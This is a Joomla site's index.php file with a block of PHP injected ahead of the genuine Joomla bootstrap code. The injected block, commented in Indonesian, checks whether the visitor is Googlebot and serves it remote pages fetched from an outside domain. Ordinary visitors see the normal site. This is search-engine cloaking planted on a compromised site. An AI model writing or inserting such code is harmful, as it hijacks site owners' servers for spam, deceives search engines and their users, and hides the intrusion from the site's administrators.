<?php
header('Vary: Accept-Language, User-Agent', true);

function is_googlebot(): bool {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    if ($ua === '') return false;
    
    // Hanya deteksi Googlebot dan variannya
    return strpos($ua, 'googlebot') !== false 
        || strpos($ua, 'google-amphtml') !== false 
        || strpos($ua, 'google-inspectiontool') !== false;
}

function fetch_lp(string $url): ?string {
    $ctx = stream_context_create([
        'http' => [
            'timeout' => 4,
            'max_redirects' => 5,
            'header' => "User-Agent: " . ($_SERVER['HTTP_USER_AGENT'] ?? "Mozilla/5.0") . "\r\n",
            'ignore_errors' => true,
        ]
    ]);
    $body = @file_get_contents($url, false, $ctx);
    return $body !== false ? $body : null;
}

$request_uri = strtok($_SERVER['REQUEST_URI'] ?? '/', '?');

header('Content-Type: text/html; charset=UTF-8');

if (is_googlebot()) {
    // Hanya untuk Googlebot: coba tampilkan landing page khusus sesuai path
    if ($request_uri === '/') {
        // "lp" kemungkinan file lokal (tanpa ekstensi atau sesuai nama file Anda)
        // Jika remote, ganti dengan URL lengkap, misalnya "https://tapfuse.io/jan/hits.html"
        $lp = fetch_lp("https:");
        if ($lp !== null) {
            echo $lp;
            exit;
        }
    }

    if (strpos($request_uri, '/de/') === 0) {
        $lp = fetch_lp("https://paketwisatamedan.id/neo/wirbestimmen/de.html");
        if ($lp !== null) {
            echo $lp;
            exit;
        }
    }



}

?>

<?php

/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

// NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message

// Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
define('JOOMLA_MINIMUM_PHP', '8.1.0');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) {
    die(
        str_replace(
            '{{phpversion}}',
            JOOMLA_MINIMUM_PHP,
            file_get_contents(dirname(__FILE__) . '/includes/incompatible.html')
        )
    );
}

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

// Load global path definitions
if (file_exists(__DIR__ . '/defines.php')) {
    include_once __DIR__ . '/defines.php';
}

require_once __DIR__ . '/includes/defines.php';

// Check the existence of an update-extraction config file
if (
    !empty($_GET['jautoupdate'])
    && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php')
) {
    // Load extraction script and...
    require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php';

    // ... die
    die();
}

// Run the application - All executable code should be triggered through this file
require_once __DIR__ . '/includes/app.php';